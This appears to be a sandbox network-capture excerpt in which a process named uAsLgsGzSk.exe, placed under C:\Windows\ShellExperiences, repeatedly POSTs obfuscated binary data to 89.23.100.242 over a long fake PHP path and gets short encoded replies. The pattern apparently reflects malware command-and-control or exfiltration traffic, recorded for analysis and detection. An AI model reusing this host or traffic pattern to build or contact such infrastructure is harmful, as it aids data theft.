Jan 10, 2025 07:58:45.798490047 CET	2544	OUT	Data Raw: 59 5f 43 54 5b 59 53 57 58 5b 57 56 50 53 5b 5b 55 51 5e 5c 54 5f 51 5c 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: Y_CT[YSWX[WVPS[[UQ^\T_Q\RVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR';!#Z(>?[/\">.?++4["4Q<,)&=3:'_!/Y.
Jan 10, 2025 07:58:46.219194889 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:58:46.389796019 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:58:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=V@[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.4	50091	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:58:46.524138927 CET	531	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 10, 2025 07:58:46.876611948 CET	2544	OUT	Data Raw: 59 54 46 55 5b 5a 53 50 58 5b 57 56 50 5a 5b 51 55 56 5e 5d 54 59 51 5e 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: YTFU[ZSPX[WVPZ[QUV^]TYQ^RVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR$,W#[>-^+5<;:W+= \(("+Q?4=?6B& \':'_!/Y.-
Jan 10, 2025 07:58:47.362629890 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:58:47.500628948 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:58:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=V@[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.4	50092	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:58:47.628360987 CET	531	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 10, 2025 07:58:47.986047029 CET	2544	OUT	Data Raw: 5c 56 43 5f 5e 5a 56 52 58 5b 57 56 50 5e 5b 52 55 54 5e 5e 54 5d 51 5f 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: \VC_^ZVRX[WVP^[RUT^^T]Q_RVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR'B,?+=(5</:)V?8(0]#4(#))%=4^3*'_!/Y.=
Jan 10, 2025 07:58:48.364654064 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:58:48.516638994 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:58:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=V@[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.4	50093	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:58:48.643476963 CET	531	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 10, 2025 07:58:49.001590014 CET	2544	OUT	Data Raw: 59 51 43 52 5b 5d 53 53 58 5b 57 56 50 5c 5b 57 55 55 5e 5f 54 51 51 52 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: YQCR[]SSX[WVP\[WUU^_TQQRRVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR$,!/Z?-.?+/-W>>;<8Z!B(+7)/6G&=/3*'_!/Y.
Jan 10, 2025 07:58:49.397394896 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:58:49.532780886 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:58:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=V@[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.4	50094	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:58:49.660655975 CET	531	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 10, 2025 07:58:50.017247915 CET	2544	OUT	Data Raw: 59 5e 43 56 5e 5a 56 5e 58 5b 57 56 50 5c 5b 5a 55 55 5e 59 54 5e 51 5b 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: Y^CV^ZV^X[WVP\[ZUU^YT^Q[RVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR$,/\+9Z<64Z,)!+.++4X5?U<0>>B1=#0:'_!/Y.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.4	50095	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:58:50.226541996 CET	531	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2024 Expect: 100-continue Connection: Keep-Alive
Jan 10, 2025 07:58:50.579921007 CET	2024	OUT	Data Raw: 5c 54 43 57 5e 58 53 53 58 5b 57 56 50 5b 5b 52 55 55 5e 5a 54 5f 51 5f 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: \TCW^XSSX[WVP[[RUU^ZT_Q_RVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR';23>=>+];9:>>$\?<[6$? )/&$>7&:'_!/Y.-
Jan 10, 2025 07:58:50.990257025 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:58:51.142091990 CET	349	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:58:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 39 38 0d 0a 0f 1e 39 11 37 05 24 52 24 2c 21 11 3a 01 0c 0f 28 30 34 1d 28 3e 24 02 3d 33 30 0f 2d 3c 37 56 20 3b 2d 15 3f 32 2a 51 27 12 20 57 32 27 21 59 0c 13 26 5f 2b 04 25 54 29 04 24 11 28 57 36 44 30 30 27 5e 24 04 2d 50 20 11 27 07 28 04 25 55 3c 57 2d 10 2e 29 30 5c 2a 2c 2c 1e 30 36 2a 57 0c 1f 25 0a 36 21 2a 0f 22 32 2a 12 24 3b 28 0f 30 38 2f 0f 25 01 38 00 20 14 3f 5b 2e 2a 3b 01 35 00 24 59 28 2d 3d 0e 22 32 09 0b 3f 16 20 51 22 0d 22 50 02 30 5d 51 0d 0a 30 0d 0a 0d 0a Data Ascii: 9897$R$,!:(04(>$=30-<7V ;-?2Q' W2'!Y&_+%T)$(W6D00'^$-P '(%U<W-.)0\,,06W%6!"2$;(08/%8 ?[.;5$Y(-="2? Q""P0]Q0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.4	50096	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:58:50.347024918 CET	531	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 10, 2025 07:58:50.704745054 CET	2544	OUT	Data Raw: 59 50 43 51 5e 5a 56 56 58 5b 57 56 50 58 5b 57 55 5c 5e 5e 54 5d 51 59 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: YPCQ^ZVVX[WVPX[WU\^^T]QYRVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR'D;!8?9>6/9&+4]?8([5$+ 3=A%.'3'_!/Y.%
Jan 10, 2025 07:58:51.084093094 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:58:51.212939978 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:58:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=V@[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.4	50097	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:58:51.336992979 CET	507	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue
Jan 10, 2025 07:58:51.689127922 CET	2544	OUT	Data Raw: 5c 53 43 54 5b 5d 53 52 58 5b 57 56 50 5c 5b 56 55 57 5e 5b 54 5e 51 5e 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: \SCT[]SRX[WVP\[VUW^[T^Q^RVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR$/W<<&(?;9V(\<8<Z"4? (>/"&[83:'_!/Y.
Jan 10, 2025 07:58:52.103879929 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:58:52.291888952 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:58:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=V@[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.4	50098	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:58:52.427025080 CET	507	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue
Jan 10, 2025 07:58:52.782845974 CET	2544	OUT	Data Raw: 5c 51 43 54 5e 5e 56 57 58 5b 57 56 50 5a 5b 51 55 57 5e 5c 54 5b 51 59 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: \QCT^^VWX[WVPZ[QUW^\T[QYRVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR$,'X(=&</:W?.$+^75(?,+/)1=0:'_!/Y.-
Jan 10, 2025 07:58:53.275991917 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:58:53.427634954 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:58:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=V@[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.4	50099	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:58:53.549983978 CET	531	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 10, 2025 07:58:53.907850027 CET	2544	OUT	Data Raw: 59 52 43 5e 5b 5a 56 56 58 5b 57 56 50 52 5b 5a 55 57 5e 5e 54 5b 51 58 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: YRC^[ZVVX[WVPR[ZUW^^T[QXRVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR'D,]?[2+$Z,:"<>')8]5,+03),6G2=#&:'_!/Y.
Jan 10, 2025 07:58:54.290642977 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:58:54.429718971 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:58:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=V@[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.4	50100	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:58:54.548875093 CET	531	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 10, 2025 07:58:54.907955885 CET	2544	OUT	Data Raw: 5c 52 46 57 5b 5c 53 53 58 5b 57 56 50 5c 5b 5b 55 56 5e 5b 54 5d 51 5e 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: \RFW[\SSX[WVP\[[UV^[T]Q^RVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR'B/!((2<6;9!+-#+$Z!7(+3#Y>?=%(Y':'_!/Y.
Jan 10, 2025 07:58:55.302866936 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:58:55.441432953 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:58:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=V@[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.4	50101	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:58:55.563723087 CET	531	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 10, 2025 07:58:55.907960892 CET	2544	OUT	Data Raw: 59 5e 43 5f 5b 5a 56 52 58 5b 57 56 50 5e 5b 55 55 5c 5e 58 54 58 51 5d 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: Y^C_[ZVRX[WVP^[UU\^XTXQ]RVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR'B.1/?%+;;<=$)(("4U*3+Z+?2=+$:'_!/Y.=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.4	50102	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:58:56.164052963 CET	531	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2036 Expect: 100-continue Connection: Keep-Alive
Jan 10, 2025 07:58:56.517317057 CET	2036	OUT	Data Raw: 59 56 46 53 5e 59 56 50 58 5b 57 56 50 53 5b 52 55 53 5e 52 54 51 51 5e 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: YVFS^YVPX[WVPS[RUS^RTQQ^RVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR'.!/?-_?<]/).+=/<;8Z6'+T(#+)?%%=8^''_!/Y.
Jan 10, 2025 07:58:59.940201998 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:59:00.072932005 CET	349	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:58:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 39 38 0d 0a 0f 1e 3a 0f 34 02 3c 1f 25 2c 29 1c 3a 01 0b 56 2b 1e 24 59 29 03 2f 12 29 0d 2f 56 3a 01 05 57 36 05 0b 59 3c 22 22 51 27 05 3c 53 25 1d 21 59 0c 13 26 5b 28 2a 3d 1d 28 2a 0e 12 29 31 26 41 33 20 2b 5b 24 04 26 0b 37 3c 38 5a 3e 29 39 18 3f 08 31 10 2e 07 0d 04 29 3f 28 11 33 0c 2a 57 0c 1f 26 57 35 31 35 1e 35 0c 36 5c 27 01 28 0c 30 2b 20 1c 26 59 27 10 34 03 23 13 3a 00 3c 58 22 3d 34 11 29 2d 26 1f 23 32 2c 51 29 2c 20 51 22 0d 22 50 02 30 5d 51 0d 0a 30 0d 0a 0d 0a Data Ascii: 98:4<%,):V+$Y)/)/V:W6Y<""Q'<S%!Y&[(=()1&A3 +[$&7<8Z>)9?1.)?(3*W&W51556\'(0+ &Y'4#:<X"=4)-&#2,Q), Q""P0]Q0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.4	50103	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
